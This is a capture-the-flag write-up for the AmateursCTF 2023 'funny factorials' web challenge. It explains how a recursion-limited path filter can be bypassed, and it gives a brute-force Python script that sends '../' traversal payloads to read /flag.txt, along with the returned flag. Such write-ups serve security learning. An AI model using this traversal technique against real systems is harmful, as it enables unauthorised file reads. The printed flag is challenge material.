AmateursCTF 2023 - funny factorials
Description
Category: web
I made a factorials app! It’s so fancy and shmancy. However factorials don’t seem to properly compute at big numbers! Can you help me fix it?
Link : funny-factorials.amt.rs
Downloads:
1. Analysis
The goal is to display flag.txt
.
From the Dockerfile
, we know that:
- the working directory of the app is
/app
; - the path to the flag is
/flag.txt
The web app loads styles from path provided in the theme
parameter but the path is filtered by the function filter_path
.
Our goad is to inject ../flag.txt
to the theme
parameter to display the flag.
2. Testing
Let’s do some test on the function filter_path
.
The payload has the form: n*".." + n*"/"
(n
is the number of repetition) given that when the function removes one ../
, it will leave another one ../
.
For example: ....//flag.txt
becomes ../flag.txt
after filtering.
Let’s compute the number of repetition n
needed for a fixed recursion limit N
to get the right path:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import sys
N = 100
sys.setrecursionlimit(N)
def filter_path(path):
path = path.replace("../", "")
try:
return filter_path(path)
except RecursionError:
#remove root / from path if it exists
if path[0] == "/":
path = path[1:]
return path
for n in range(N):
if filter_path(n*".." + n*"/" + "flag.txt") == "../flag.txt":
print(f"Stopped at n={n}")
break
Result: Stopped at n=90
When we increase the recursion limit, we notice that n
is always lower than N
.
3. Resolution
We can use the previous observation to bruteforce until the filter_path
returns ../flag.txt
on the server:
1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
for n in range(100):
payload = n*".." +n*"/" + "flag.txt"
data = {'number': '1'} # Avoid recursion
response = requests.post('https://funny-factorials.amt.rs/?theme='+payload, data=data)
# When the payload is invalid, the server returns an error code
if response.ok:
print(response.text)
break
After a while, we got a valid response (n=81
):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<!DOCTYPE html>
<html>
<head>
<title>Factorial Calculator</title>
<!-- inline styles passed into the template -->
<style>
amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}
</style>
</head>
<body>
<h1>Factorial Calculator</h1>
<form method="POST">
<label for="number">Enter a number:</label>
<input type="text" name="number" id="number" />
<input type="submit" value="Calculate" />
</form>
<p>The factorial of is 1.</p>
<p>Available themes:</p>
<a href="?theme=themes/theme1.css">cool</a>
<a href="?theme=themes/theme2.css">warm</a>
<ul></ul>
</body>
</html>
We get the flag between the style tags: amateursCTF{h1tt1ng_th3_r3curs10n_l1mt_1s_1mp0ssibl3}